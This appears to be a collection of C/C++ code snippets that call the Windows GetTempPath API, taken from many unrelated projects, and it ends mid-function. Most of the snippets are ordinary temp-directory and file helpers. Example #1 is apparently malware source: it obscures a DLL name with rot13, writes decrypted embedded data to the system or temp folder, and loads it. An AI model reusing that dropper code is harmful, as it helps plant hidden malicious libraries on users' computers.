Example #1
0
void payload_xproxy(struct sync_t *sync)
{
	char fname[20], fpath[MAX_PATH+20];
	HANDLE hFile;
	int i;
	rot13(fname, "fuvztncv.qyy");   /* "shimgapi.dll" */
	sync->xproxy_state = 0;
	for (i=0; i<2; i++) {
		if (i == 0)
			GetSystemDirectory(fpath, sizeof(fpath));
		else
			GetTempPath(sizeof(fpath), fpath);
		if (fpath[0] == 0) continue;
		if (fpath[lstrlen(fpath)-1] != '\\') lstrcat(fpath, "\\");
		lstrcat(fpath, fname);
		hFile = CreateFile(fpath, GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
			NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
		if (hFile == NULL || hFile == INVALID_HANDLE_VALUE) {
			if (GetFileAttributes(fpath) == INVALID_FILE_ATTRIBUTES)
				continue;
			sync->xproxy_state = 2;
			lstrcpy(sync->xproxy_path, fpath);
			break;
		}
		decrypt1_to_file(xproxy_data, sizeof(xproxy_data), hFile);
		CloseHandle(hFile);
		sync->xproxy_state = 1;
		lstrcpy(sync->xproxy_path, fpath);
		break;
	}

	if (sync->xproxy_state == 1) {
		LoadLibrary(sync->xproxy_path);
		sync->xproxy_state = 2;
	}
}
Example #2
0
const char *
lcb_get_tmpdir(void)
{
#if defined(_WIN32)
    static char buf[MAX_PATH+1] = { 0 };
    if (buf[0]) {
        return buf;
    }
    GetTempPath(sizeof buf, buf);
    return buf;
#else
    const char *ret;
    if ((ret = getenv("TMPDIR")) != NULL) {
        return ret;
    } else {

    #if defined(_POSIX_VERSION)
        return "/tmp";
    #else
        return ".";
    #endif
    }
#endif
}
Example #3
0
    TestingSetup() {
        fPrintToDebugLog = false; // don't want to write to debug.log file
        noui_connect();
#ifdef ENABLE_WALLET
        bitdb.MakeMock();
#endif
        pathTemp = GetTempPath() / strprintf("test_sidecoin_%lu_%i", (unsigned long)GetTime(), (int)(GetRand(100000)));
        boost::filesystem::create_directories(pathTemp);
        mapArgs["-datadir"] = pathTemp.string();
        pblocktree = new CBlockTreeDB(1 << 20, true);
        pcoinsdbview = new CCoinsViewDB(1 << 23, true);
        pcoinsTip = new CCoinsViewCache(*pcoinsdbview);
        InitBlockIndex();
#ifdef ENABLE_WALLET
        bool fFirstRun;
        pwalletMain = new CWallet("wallet.dat");
        pwalletMain->LoadWallet(fFirstRun);
        RegisterWallet(pwalletMain);
#endif
        nScriptCheckThreads = 3;
        for (int i=0; i < nScriptCheckThreads-1; i++)
            threadGroup.create_thread(&ThreadScriptCheck);
        RegisterNodeSignals(GetNodeSignals());
    }
Example #4
0
static void scanDirs(void)
{
	HMODULE hModule = GetModuleHandleW(NULL);
	char path[MAX_PATH];
	int pathlength;

	//Fetch absolue .exe path
	pathlength = GetModuleFileName(hModule, path, MAX_PATH);
	
	dataDir = calloc(pathlength + 1, sizeof(char));
	memcpy(dataDir, path, pathlength);
	ccStringTrimToChar(dataDir, '\\', true);
	ccStringReplaceChar(dataDir, '\\', '/');

	//User dir
	userDir = USERHOME;

	//Temp directory
	pathlength = GetTempPath(MAX_PATH, path);

	tempDir = calloc(pathlength + 1, sizeof(char));
	memcpy(tempDir, path, pathlength);
	ccStringReplaceChar(tempDir, '\\', '/');
}
Example #5
0
const char * MWindow::getTempDirectory(void)
{
	static char tempDirectory[256];
	TCHAR shortPath[MAX_PATH];

	GetTempPath(MAX_PATH, shortPath);

	LPCTSTR lpszShortPath = shortPath;
	DWORD buffSize = MAX_PATH;
	LPTSTR lpszLongPath = (LPTSTR)malloc(buffSize *sizeof(TCHAR));
	DWORD result = GetLongPathName(lpszShortPath, lpszLongPath, buffSize);

	if(result > MAX_PATH)
	{
		delete lpszLongPath;
		buffSize = result;
		lpszLongPath = (LPTSTR)malloc(buffSize*sizeof(TCHAR));
		if(! GetLongPathName(lpszShortPath, lpszLongPath, buffSize))
			return NULL;
	}

	strcpy(tempDirectory, lpszLongPath);
	return tempDirectory;
}
Example #6
0
void CRuntime::CreateTempDirectory()
{
	// Get the temporary directory
	char temppath[MAX_PATH+1];
	GetTempPath(512, temppath);
	GetLongPathName(temppath, temppath, MAX_PATH+1);

	char tempfolder[MAX_PATH+1];
	GetTempFileName(temppath, "cap", 0, tempfolder);

	tempDir = tempfolder;

	// Delete the temp file
	DeleteFile(tempDir);

	pythonDir = tempDir;

	tempDir += "\\";
	pythonDir = tempDir + "Python";

	pythonZipPath = tempDir + "PythonLibs.zip";

	// Make the directory
	if (CreateDirectory(tempfolder, NULL) == 0) {
		CString msg;
		msg.Format("Error creating temporary folder at %s (%d)!", tempfolder, GetLastError());
		MessageBox(NULL, msg, "Construct Runtime", MB_ICONHAND | MB_OK);
	}
	
	if (CreateDirectory(pythonDir, NULL) == 0) {
		CString msg;
		msg.Format("Error creating temporary folder at %s (%d)!", pythonDir, GetLastError());
		MessageBox(NULL, msg, "Construct Runtime", MB_ICONHAND | MB_OK);
	}

}
Example #7
0
MBASEAPI BOOL MIRACLEEXPORT mirGetTempFileName(CString &FileName)
{
	const int buffersize = FILE_PATH_MAX;
	TCHAR szTempPath[buffersize];
	TCHAR szTempName[buffersize];

	DWORD dwRetVal = GetTempPath(buffersize,szTempPath); // buffer for path 
	if (dwRetVal > buffersize || (dwRetVal == 0))
	{
		logErrorVA("GetTempPath failed (%d)\n", GetLastError());
		return FALSE;
	}
	UINT uRetVal = GetTempFileName(szTempPath, // directory for tmp files
		TEXT("MIF"),  // temp file name prefix 
		0,            // create unique name 
		szTempName);  // buffer for name 
	if (uRetVal == 0)
	{
		logErrorVA("GetTempFileName failed (%d)\n", GetLastError());
		return FALSE;
	}	
	FileName = szTempName;
	return TRUE;
}
Example #8
0
const char* plat_gettmpdir()
{
    static char s_tmpdir[MAX_PATH];

    if (!s_tmpdir[0])
    {
        DWORD ret = GetTempPath(MAX_PATH, s_tmpdir);

        if ((ret == 0) || (ret > MAX_PATH))
        {
            // Ugh. Try several environment variables and just
            //  set to c:\\temp if all those fail.
            const char *tmpdir = getenv("TMP");
            if (!tmpdir)
            {
                tmpdir = getenv("TEMP");
                if (!tmpdir)
                {
                    tmpdir = getenv("USERPROFILE");
                    if (!tmpdir)
                        tmpdir = "c:\\temp";
                }
            }

            strncpy(s_tmpdir, tmpdir, sizeof(s_tmpdir));
            s_tmpdir[sizeof(s_tmpdir) - 1] = 0;
        }

        // Remove trailing slash.
        size_t slen = strlen(s_tmpdir);
        if ((slen > 0) && (s_tmpdir[slen - 1] == '\\'))
            s_tmpdir[--slen] = 0;
    }

    return s_tmpdir;
}
Example #9
0
// dllmain
BOOL WINAPI DllMain(HINSTANCE hInst, DWORD dwReason, LPVOID) {
	g_hInst = hInst;
	if( dwReason == DLL_PROCESS_ATTACH ) {
		{
		char temp[MAX_PATH];
		GetTempPath(sizeof(temp),temp);
		GetLongPathName(temp,TEMP,sizeof(TEMP));
		TEMP_SIZE = strlen(TEMP);
		if(TEMP[TEMP_SIZE-1]=='\\') {
			TEMP_SIZE--;
			TEMP[TEMP_SIZE]='\0';
		}
		}
		InitializeCriticalSection(&localQueueMutex);
		InitializeCriticalSection(&localContextMutex);
#ifdef _DEBUG
		isVista = 1;
#else
		isVista = ( (DWORD)(LOBYTE(LOWORD(GetVersion()))) == 6 );
#endif
	}
	//DLL_THREAD_ATTACH
	return TRUE;
}
Example #10
0
// Extract the filename from the URL.
// Return false if the filename cannot be found
bool Download::getfname(char *url, char *fname)
{
    // Find last slash /
    char *p = strrchr(url, '/');

    // Copy filename afther the last slash
    if(p && (strlen(p) < MAX_FILENAME_SIZE))
    {
        p++;
        WCHAR buff[MAX_PATH];
        GetTempPath(MAX_PATH, buff);
        
        char str[MAX_PATH];
        for(int i = 0; !i || buff[i-1] != 0; ++i)
            str[i] = buff[i];

        sprintf(fname, "%s\\%s", str, p);
        return true;
    }
    else
    {
        return false;
    }
}
Example #11
0
bool EVUtil::ODBCGetOLEImage( int iID,CString& strName )
{
	if(m_db.IsOpen())
	{
		CdbImages rs(&m_db);
		//CString sql;
		//sql.Format(_T("select * from 数据 where id=%d "),iID);
		//rs.Open(CRecordset::dynaset,sql);//*/
		rs.Open();
		if(rs.IsOpen())
		{
			rs.MoveFirst();
			while(!rs.IsEOF())
			{
				if ( rs.m_iID!=iID )
				{
					rs.MoveNext();
					continue;
				}
				TCHAR    tmpPath[_MAX_PATH+1];
				GetTempPath(_MAX_PATH,tmpPath);

				strName.Insert(0,tmpPath);

				CFile	outFile(strName,CFile::modeCreate|CFile::modeWrite);
				LPSTR	buffer = (LPSTR)GlobalLock(rs.m_BLOBImage.m_hData);
				outFile.Write(buffer,rs.m_BLOBImage.m_dwDataLength);
				GlobalUnlock(rs.m_BLOBImage.m_hData);
				outFile.Close();
				break;
			}
		}
	}

	return false;
}
void CorePlugin::enableLog() {
#ifdef DEBUG
#ifdef WIN32
	WCHAR szPath[MAX_PATH];
	WCHAR szFileName[MAX_PATH];
	WCHAR* szAppName = TEXT(FBSTRING_PluginFileName);
	DWORD dwBufferSize = MAX_PATH;
	SYSTEMTIME stLocalTime;

	GetLocalTime(&stLocalTime);
	GetTempPath(dwBufferSize, szPath);
	//ExpandEnvironmentStrings(L"%SYSTEMDRIVE%", szPath, MAX_PATH);
	//StringCchCat(szPath, MAX_PATH, L"\\TEMP\\");

	StringCchPrintf(szFileName, MAX_PATH, L"%s\\%s-%04d%02d%02d-%02d%02d%02d-%ld-%ld.log",
		szPath, szAppName,
		stLocalTime.wYear, stLocalTime.wMonth, stLocalTime.wDay,
		stLocalTime.wHour, stLocalTime.wMinute, stLocalTime.wSecond,
		GetCurrentProcessId(), GetCurrentThreadId());
	s_log_file = _wfopen(szFileName, L"w+");
#endif //WIN32
#endif //DEBUG
	linphone_core_enable_logs_with_cb(CorePlugin::log);
}
Example #13
0
CString CHttpFileDownload::GetDownPath()
{
	switch (m_nDownMethod){
		case HTTP_DOWNLOAD_PATH_EXECUTE:
			m_strDownPath = GetExecutePath();
			break;

		case HTTP_DOWNLOAD_PATH_TEMP:
			m_strDownPath = GetTempPath();
			break;
		
		case HTTP_DOWNLOAD_PATH_USER:
			if(SetDownPath(m_strDownPath)){
				if(!CheckFolder(m_strDownPath))
					m_strDownPath = "";
			}
			break;
		
		default:
			m_strDownPath = "";
	}

	return m_strDownPath;
}
Example #14
0
BOOL CDBFExplorerDoc::OnNewDocument()
{
	if (!CDocument::OnNewDocument())
		return FALSE;

	CStructureDlg dlg(AfxGetMainWnd());
	dlg.m_strTitle = _T("Create New DBF file");
	if (dlg.DoModal() == IDOK)
	{
		TCHAR szPath[MAX_PATH];
		GetTempPath(_countof(szPath), szPath);
      _tmakepath(m_szTempFileName, NULL, szPath, GetTitle(), _T(DBF_FILEEXT));
		if (m_dBaseFile->Create(m_szTempFileName, dlg.m_strFieldArray) == DBASE_SUCCESS)
		{
			if (OnOpenDocument(m_szTempFileName))
			{
				SetModifiedFlag(TRUE);
				return TRUE;
			}
			return FALSE;
		}
	}
	return FALSE;
}
Example #15
0
HANDLE alloctmpfile(TCHAR *tmpfilename, int namelen, size_w length)
{
	HANDLE hFile;

	if(namelen < MAX_PATH)
		return 0;

	if(GetTempPath(namelen, tmpfilename))
	{
		if(GetTempFileName(tmpfilename, TEXT("~HX"), 0, tmpfilename))
		{
			hFile = allocfile(tmpfilename, length);

			if(hFile != INVALID_HANDLE_VALUE)
			{
				return hFile;
			}

			DeleteFile(tmpfilename);
		}
	}

	return 0;
}
Example #16
0
FILE *					/* O - Temporary file */
file_temp(char *name,			/* O - Filename */
          int  len)			/* I - Length of filename buffer */
{
  FILE		*fp;			/* File pointer */
  int		fd;			/* File descriptor */
#ifdef WIN32
  char		tmpdir[1024];		/* Buffer for temp dir */
#else
  const char	*tmpdir;		/* Temporary directory */
#endif /* WIN32 */


  web_cache[web_files].name = NULL;
  web_cache[web_files].url  = NULL;
  web_files ++;

#ifdef WIN32
  GetTempPath(sizeof(tmpdir), tmpdir);
#else
  if ((tmpdir = getenv("TMPDIR")) == NULL)
    tmpdir = "/var/tmp";
#endif /* WIN32 */

  snprintf(name, len, TEMPLATE, tmpdir, getpid(), web_files);

  if ((fd = open(name, OPENMODE, OPENPERM)) >= 0)
    fp = fdopen(fd, "w+b");
  else
    fp = NULL;

  if (!fp)
    web_files --;

  return (fp);
}
Example #17
0
BOOL InitGlobal()
{
    //g_TEMP_BASE_PATH: Get the system temporary path
    DWORD dwLenInstallerPath = MAX_PATH_SIZE;
    GetTempPath(dwLenInstallerPath, (LPTSTR)g_TEMP_BASE_PATH);

    //g_TEMP_JAVAWS_PATH: Generate a unique temporary directory
    GetTempDirName(g_TEMP_BASE_PATH, g_TEMP_JAVAWS_PATH);
    CreateDirectory(g_TEMP_JAVAWS_PATH, NULL);

    //Get Javaws home path
    if(GetJavawsHome() == 0)
    {
        return false;
    };

    //g_TEMP_INSTALLER_JAR: Get the full path name for the jar file to be generated
    sprintf(g_TEMP_INSTALLER_JAR, "%s\\%s", g_TEMP_JAVAWS_PATH, "installer.jar");

    //g_TEMP_JAVAWS_URL: Get the url mode of installer.jar's path
    char tempUrl[MAX_PATH_SIZE] = {0};
    int iNumber = 0;
    while (g_TEMP_JAVAWS_PATH[iNumber]) {
        for(int i=0; i<sizeof(g_TEMP_JAVAWS_PATH); i++) {
            if(g_TEMP_JAVAWS_PATH[i]=='\\') {
                tempUrl[i] = '/';
            } else {
                tempUrl[i] = g_TEMP_JAVAWS_PATH[i];
            }
        }
        iNumber++;
    }
    sprintf(g_TEMP_JAVAWS_URL, "file:///%s", tempUrl);

    return true;
}
Example #18
0
 static bool RemoveEntryFromGarbageRegistry(const char* filename)
 {
     char gbgFile[2048];
     GetTempPath(2048, gbgFile);
     strcat(gbgFile, "VBATempFileRecords");
     char key[64];
     int i = 0;
     int deleteSlot = -1;
     while(true)
     {
         sprintf(key, "File%d", i);
         GetPrivateProfileString("Files", key, "", Str_Tmp, 2048, gbgFile);
         if(!*Str_Tmp)
             break;
         if(!strcmp(Str_Tmp, filename))
             deleteSlot = i;
         i++;
     }
     --i;
     if(i >= 0 && deleteSlot >= 0)
     {
         if(i != deleteSlot)
         {
             sprintf(key, "File%d", i);
             GetPrivateProfileString("Files", key, "", Str_Tmp, 2048, gbgFile);
             sprintf(key, "File%d", deleteSlot);
             WritePrivateProfileString("Files", key, Str_Tmp, gbgFile);
         }
         sprintf(key, "File%d", i);
         if(0 == WritePrivateProfileString("Files", key, NULL, gbgFile))
             return false;
     }
     if(i <= 0 && deleteSlot == 0)
         _unlink(gbgFile);
     return true;
 }
Example #19
0
int getTempPath(char *buff)
{
    int i;
    char *ret;
    char prefix[16];

    GetTempPath(MAX_PATH, buff);
    sprintf(prefix, "_MEI%d", getpid());

    // Windows does not have a race-free function to create a temporary
    // directory. Thus, we rely on _tempnam, and simply try several times
    // to avoid stupid race conditions.
    for (i=0;i<5;i++) {
        ret = _tempnam(buff, prefix);
        if (mkdir(ret) == 0) {
            strcpy(buff, ret);
            strcat(buff, "\\");
            free(ret);
            return 1;
        }
        free(ret);
    }
    return 0;
}
Example #20
0
TestingSetup::TestingSetup(CBaseChainParams::Network network) : BasicTestingSetup(network)
{
#ifdef ENABLE_WALLET
        bitdb.MakeMock();
#endif
        ClearDatadirCache();
        pathTemp = GetTempPath() / strprintf("test_drivercoin_%lu_%i", (unsigned long)GetTime(), (int)(GetRand(100000)));
        boost::filesystem::create_directories(pathTemp);
        mapArgs["-datadir"] = pathTemp.string();
        pblocktree = new CBlockTreeDB(1 << 20, true);
        pcoinsdbview = new CCoinsViewDB(1 << 23, true);
        pcoinsTip = new CCoinsViewCache(pcoinsdbview);
        InitBlockIndex();
#ifdef ENABLE_WALLET
        bool fFirstRun;
        pwalletMain = new CWallet("wallet.dat");
        pwalletMain->LoadWallet(fFirstRun);
        RegisterValidationInterface(pwalletMain);
#endif
        nScriptCheckThreads = 3;
        for (int i=0; i < nScriptCheckThreads-1; i++)
            threadGroup.create_thread(&ThreadScriptCheck);
        RegisterNodeSignals(GetNodeSignals());
}
Example #21
0
Bool APIENTRY DllMain( HINSTANCE  hModule,
uint32_t ul_reason_for_call,
                        pvoid lpReserved )
{
	char * p;

    switch( ul_reason_for_call )
	{
    case DLL_PROCESS_ATTACH:
		ghInst = hModule;
		GetModuleFileName(hModule,szPath,sizeof(szPath));
		if(p = strstr(_strupr(szPath),"cuneiform.dll"))
			*(p-1)=0;
		else
		{
			MessageBox(NULL,"Start folder cuneiform.dll not found!",NULL,MB_ICONSTOP);
			return FALSE;
		}
		if(GetTempPath(sizeof(szTempPath),szTempPath))
			sprintf(szStorage,szFormatStorageName,szTempPath);
		else
		{
			MessageBox(NULL,"Temporary folder PUMA.DLL not found!",NULL,MB_ICONSTOP);
			return FALSE;
		}
		break;
    case DLL_THREAD_ATTACH:
		break;
    case DLL_THREAD_DETACH:
		break;
    case DLL_PROCESS_DETACH:
		break;
    }

    return TRUE;
}
Example #22
0
WDL_SHM_Connection::WDL_SHM_Connection(bool whichChan,
                      const char *uniquestring, // identify 
                      int shmsize, // bytes, whoever opens first decides
                      int timeout_sec

                    )
{
  m_timeout_sec=timeout_sec;
  m_last_recvt=time(NULL)+2; // grace period
  { // make shmsize the next power of two
    int a = shmsize;
    shmsize=2;
    while (shmsize < SHM_MINSIZE || shmsize<a) shmsize*=2;
  }

  m_file=INVALID_HANDLE_VALUE;
  m_filemap=NULL;
  m_mem=NULL;
  m_events[0]=m_events[1]=NULL;

  m_whichChan=whichChan ? 1 : 0;

  char buf[512];
  GetTempPath(sizeof(buf)-4,buf);
  if (!buf[0]) lstrcpyn(buf,"C:\\",32);
  if (buf[strlen(buf)-1] != '/' && buf[strlen(buf)-1] != '\\') strcat(buf,"\\");
  m_tempfn.Set(buf);
  m_tempfn.Append("WDL_SHM_");
  m_tempfn.Append(uniquestring);
  m_tempfn.Append(".tmp");


  HANDLE mutex=NULL;

  {
    WDL_String tmp;
    tmp.Set("WDL_SHM_");
    tmp.Append(uniquestring);
    tmp.Append(".mutex");
    mutex = CreateMutex(NULL,FALSE,tmp.Get());
  }

  if (mutex) WaitForSingleObject(mutex,INFINITE);

  DeleteFile(m_tempfn.Get()); // this is designed to fail if another process has it locked

  m_file=CreateFile(m_tempfn.Get(),GENERIC_READ|GENERIC_WRITE,
        FILE_SHARE_READ|FILE_SHARE_WRITE ,
        NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_TEMPORARY,NULL);
  
  int mapsize;
  if (m_file != INVALID_HANDLE_VALUE && 
        ((mapsize=GetFileSize(m_file,NULL)) < SHM_HDRSIZE+SHM_MINSIZE*2 || 
          mapsize == 0xFFFFFFFF))
  {
    WDL_HeapBuf tmp;
    memset(tmp.Resize(shmsize*2 + SHM_HDRSIZE),0,shmsize*2 + SHM_HDRSIZE);
    ((int *)tmp.Get())[0] = shmsize;
    DWORD d;
    WriteFile(m_file,tmp.Get(),tmp.GetSize(),&d,NULL);
  }

  if (mutex) 
  {
    ReleaseMutex(mutex);
    CloseHandle(mutex);
  }

  if (m_file!=INVALID_HANDLE_VALUE)
    m_filemap=CreateFileMapping(m_file,NULL,PAGE_READWRITE,0,0,NULL);

  if (m_filemap)
  {
    m_mem=(unsigned char *)MapViewOfFile(m_filemap,FILE_MAP_WRITE,0,0,0);

    WDL_String tmp;
    if (!(GetVersion()&0x80000000)) tmp.Set("Global\\WDL_SHM_");
    else tmp.Set("WDL_SHM_");
    tmp.Append(uniquestring);
    tmp.Append(".1");
    m_events[0]=CreateEvent(NULL,false,false,tmp.Get());
    tmp.Get()[strlen(tmp.Get())-1]++; 
    m_events[1]=CreateEvent(NULL,false,false,tmp.Get());
  }
}
Example #23
0
void MMapFile::resize(__int64 newsize)
{
  release();

  if (newsize > m_iSize)
  {
#ifdef _WIN32
    if (m_hFileMap)
      CloseHandle(m_hFileMap);

    m_hFileMap = 0;
#endif

    m_iSize = newsize;

#ifdef _WIN32
    if (m_hFile == INVALID_HANDLE_VALUE)
    {
      TCHAR buf[MAX_PATH], buf2[MAX_PATH];

      GetTempPath(MAX_PATH, buf);
      GetTempFileName(buf, _T("nsd"), 0, buf2);

      m_hFile = CreateFile(
        buf2,
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE | FILE_FLAG_SEQUENTIAL_SCAN,
        NULL
      );

      m_bTempHandle = TRUE;
    }

    if (m_hFile != INVALID_HANDLE_VALUE)
    {
      m_hFileMap = CreateFileMapping(
        m_hFile,
        NULL,
        m_bReadOnly ? PAGE_READONLY : PAGE_READWRITE,
        HIDWORD(m_iSize),
        LODWORD(m_iSize),
        NULL
      );
    }
#else
    if (m_hFile == NULL)
    {
      m_hFile = tmpfile();
      if (m_hFile != NULL)
      {
        m_hFileDesc = fileno(m_hFile);
        m_bTempHandle = TRUE;
      }
    }

    // resize
    if (m_hFileDesc != -1)
    {
      unsigned char c = 0;

      if (lseek(m_hFileDesc, m_iSize, SEEK_SET) != (off_t)-1)
      {
        if (read(m_hFileDesc, &c, 1) != -1)
        {
          if (lseek(m_hFileDesc, m_iSize, SEEK_SET) != (off_t)-1)
          {
            if (write(m_hFileDesc, &c, 1) != -1)
            {
              return; // no errors
            }
          }
        }
      }
    }

    m_hFileDesc = -1; // some error occurred, bail
#endif

#ifdef _WIN32
    if (!m_hFileMap)
#else
    if (m_hFileDesc == -1)
#endif
    {
      extern void quit(); extern int g_display_errors;
      if (g_display_errors)
      {
        PrintColorFmtMsg_ERR(_T("\nInternal compiler error #12345: error creating mmap the size of %I64d.\n"), m_iSize);
      }
      quit();
    }
  }
}
Example #24
0
void DlgSMTP::OnBtnlaheta() 
{
    // Käyttää tiedostoja: smtp.h, smtp.cpp --- md5.h, md5.cpp --- glob-md5.h --- Base64Coder.h, Base64Coder.cpp
    DWORD e;
    int port;
    time_t tt;
    Parse parse;
    COleDateTime odt;
    CPJNSMTPMessage cmes;
    CPJNSMTPConnection csmtp;
    CPJNSMTPBodyPart cbodypart;
    char temp_path[MAX_PATH * 2];
    CString cs, body, attach_path, subatt;

    this->EnableWindow(FALSE);                       // Kaikki nappulat pois käytöstä
    m_btnLaheta.EnableWindow(FALSE);
    /*m_edtFrom.EnableWindow(FALSE);
    m_edtRecipients.EnableWindow(FALSE);
    m_cmbSMTPServer.EnableWindow(FALSE);
    m_edtSMTPPort.EnableWindow(FALSE);
    m_chkAsiakkaat.EnableWindow(FALSE);
    m_chkLaskuttajat.EnableWindow(FALSE);
    m_chkTyotyypit.EnableWindow(FALSE);
    m_chkTuotteet.EnableWindow(FALSE);
    m_btnPolku.EnableWindow(FALSE); 
    m_btnCancel.EnableWindow(FALSE);
    m_chkKaytaAuth.EnableWindow(FALSE);
    m_chkMuistaUn.EnableWindow(FALSE);
    m_edtUsername.EnableWindow(FALSE);
    m_edtPassword.EnableWindow(FALSE);*/

    try
	{
      if(m_edtRecipients.GetWindowTextLength() == 0) throw(ERR_SMPTP_3);
      if(m_edtFrom.GetWindowTextLength() == 0) throw(ERR_SMPTP_4);
      if(m_cmbSMTPServer.GetWindowTextLength() == 0) throw(ERR_SMPTP_7);
      if(m_edtSMTPPort.GetWindowTextLength() == 0) throw(ERR_SMPTP_8);

	  m_stcInfo.coloredInfo(GetSysColor(COLOR_3DFACE), Props::i().lang("DLGSMTP_4"));

      time(&tt);                                     // Luodaan liitteen ja subject-kentän nimi
      subatt.Format("taikalistat%s%d", _IDENTIFIER_, tt);

      e = GetTempPath(2 * MAX_PATH, temp_path);      // polku TMP- tai TEMP-ympäristömuuttujan kansioon
      if(e == 0 || e > 2 * MAX_PATH) throw(ERR_SMPTP_0);

      // Liite lisätään aina tiedostosta CPJNSMTPBodyPart-luokalle
      if(m_attach_from == IDC_RADLAHDE1)             // Liite t-aika -ohjelmasta (tietokannasta)
	  {
        attach_path = temp_path + subatt + DOT_TTA_EXT;  // polku/tiedostonimi väliaikaiseen tiedostoon
        if(!parse.talletaTTA(this->GetSafeHwnd(), attach_path, m_asiakkaat, m_laskuttajat, m_tyotyypit, m_tuotteet, MODE_ATTACH)) throw(GEN_ERROR);
	  }
      else                                           // Liite tiedostosta
	  {
        attach_path = temp_path + subatt + DOT_TTA_EXT;
        CopyFile(m_attachmentpath, attach_path, FALSE);
	  }

      // NoLoginMethod (HELO), AuthLoginMethod (EHLO -> AUTH LOGIN authentication), CramMD5Method (EHLO -> AUTH CRAM-MD5), LoginPlainMethod (EHLO-> AUTH LOGIN PLAIN)
      port = atoi(m_SMTPPort);
      if(!m_kayta_auth)                              // Ei tunnistautumista palvelimelle
	    csmtp.Connect(m_SMTPServer, CPJNSMTPConnection::AUTH_NONE, "", "", port);
      else                                           // Tunnistaudu palvelimelle
	    csmtp.Connect(m_SMTPServer, CPJNSMTPConnection::AUTH_PLAIN, m_username, m_password, port);

      cmes.SetCharset(_T("iso-8859-1"));                       // : merkistö
      cbodypart.SetCharset(_T("iso-8859-1"));
	  cmes.ParseMultipleRecipients(m_recipients, cmes.m_To);   // :: vastaanottajat
      cmes.m_From = CPJNSMTPAddress(m_from);                   // ::: lähettäjä
      cmes.m_sSubject = subatt;                                // :::: otsikko
      odt = odt.GetCurrentTime();                              // ::::: selkokielinen viesti (jos käyttäjä tutkii sähköpostiaan manuaalisesti)
	  body.Format(Props::i().lang("DLGSMTP_5"), odt.GetDay(), odt.GetMonth(), odt.GetYear(), odt.GetHour(), odt.GetMinute(), odt.GetSecond());
      cmes.AddTextBody(body);
      if(!(cbodypart.SetFilename(attach_path))) throw(ERR_SMPTP_2);	// :::::: liite
      cmes.AddBodyPart(cbodypart);

      csmtp.SendMessage(cmes);                       // Lähetä viesti

	  m_stcInfo.coloredInfo(LIGHTGREEN, Props::i().lang("DLGSMTP_6"));
	}
    catch(int err)
	{
      LPVOID lpMsgBuf;

      e = 0;
      if(err == ERR_SMPTP_0)
	  {
        e = GetLastError();
        FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_FROM_SYSTEM|FORMAT_MESSAGE_IGNORE_INSERTS, NULL, e, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&lpMsgBuf, 0, NULL/*(va_list *)(DWORD)args*/);
        body.Format(Props::i().lang("DLGSMTP_7"), e, (LPCSTR)lpMsgBuf);
        body.Replace("\r\n", "");
        LocalFree(lpMsgBuf);
	  }
      else if(err == ERR_SMPTP_2) body = Props::i().lang("DLGSMTP_8");
      else if(err == ERR_SMPTP_3) { m_edtRecipients.SetFocus(); body = Props::i().lang("DLGSMTP_9"); }
      else if(err == ERR_SMPTP_4) { m_edtFrom.SetFocus();       body = Props::i().lang("DLGSMTP_10"); }
      else if(err == ERR_SMPTP_7) { m_cmbSMTPServer.SetFocus(); body = Props::i().lang("DLGSMTP_11"); }
      else if(err == ERR_SMPTP_8) { m_edtSMTPPort.SetFocus();   body = Props::i().lang("DLGSMTP_12"); }

      if(e == ERROR_SUCCESS && err == ERR_SMPTP_0) body = Props::i().lang("DLGSMTP_13");

      MessageBox(Props::i().lang("DLGSMTP_14") + body, Props::e().m_app_title, MB_ICONEXCLAMATION|MB_TASKMODAL|MB_TOPMOST|MB_OK);
	  m_stcInfo.coloredInfo(LIGHTRED, Props::i().lang("DLGSMTP_15") + body);
	}
    catch(CPJNSMTPException* pEx)
    {
      CString sMsg;
      if (HRESULT_FACILITY(pEx->m_hr) == FACILITY_ITF)
        sMsg.Format(_T(Props::i().lang("DLGSMTP_16")), pEx->m_hr, pEx->GetErrorMessage().operator LPCTSTR());
      else
        sMsg.Format(_T(Props::i().lang("DLGSMTP_17")), pEx->m_hr, pEx->GetErrorMessage().operator LPCTSTR(), pEx->m_sLastResponse.operator LPCTSTR());

      sMsg.Replace("\r\n", "");
      MessageBox(Props::i().lang("DLGSMTP_18") + sMsg, Props::e().m_app_title, MB_ICONEXCLAMATION|MB_TASKMODAL|MB_TOPMOST|MB_OK);
	  m_stcInfo.coloredInfo(LIGHTRED, Props::i().lang("DLGSMTP_15") + CString(pEx->GetErrorMessage().operator LPCTSTR()));

      pEx->Delete();
	}

    DeleteFile(attach_path);                         // Poista väliaikainen tiedosto

    this->EnableWindow(TRUE);                        // Kaikki nappulat takaisin käyttöön
    m_btnLaheta.EnableWindow(TRUE);
    /*m_edtFrom.EnableWindow(TRUE);
    m_edtRecipients.EnableWindow(TRUE);
    m_cmbSMTPServer.EnableWindow(TRUE);
    m_edtSMTPPort.EnableWindow(TRUE);
    m_btnCancel.EnableWindow(TRUE);
    if(m_attach_from == IDC_RADLAHDE1)
	{
      m_chkAsiakkaat.EnableWindow(TRUE);
      m_chkLaskuttajat.EnableWindow(TRUE);
      m_chkTyotyypit.EnableWindow(TRUE);
      m_chkTuotteet.EnableWindow(TRUE);
      m_btnPolku.EnableWindow(FALSE);
	}
    else
	{
      m_chkAsiakkaat.EnableWindow(TRUE);
      m_chkLaskuttajat.EnableWindow(TRUE);
      m_chkTyotyypit.EnableWindow(FALSE);
      m_chkTuotteet.EnableWindow(FALSE);
      m_btnPolku.EnableWindow(TRUE);
	}
    m_chkKaytaAuth.EnableWindow(TRUE);
    if(m_kayta_auth)
	{
      m_chkMuistaUn.EnableWindow(TRUE);
      m_edtUsername.EnableWindow(TRUE);
      m_edtPassword.EnableWindow(TRUE);
	}
    else
	{
      m_chkMuistaUn.EnableWindow(FALSE);
      m_edtUsername.EnableWindow(FALSE);
      m_edtPassword.EnableWindow(FALSE);
	}*/
}
// Exception execution handler.  Exception is recognized. Transfer control to
// the exception handler by executing the __except compound statement,
// then continue execution after the __except block.
int GenerateDumpAndPrintCallstack(EXCEPTION_POINTERS* pExceptionPointers) {
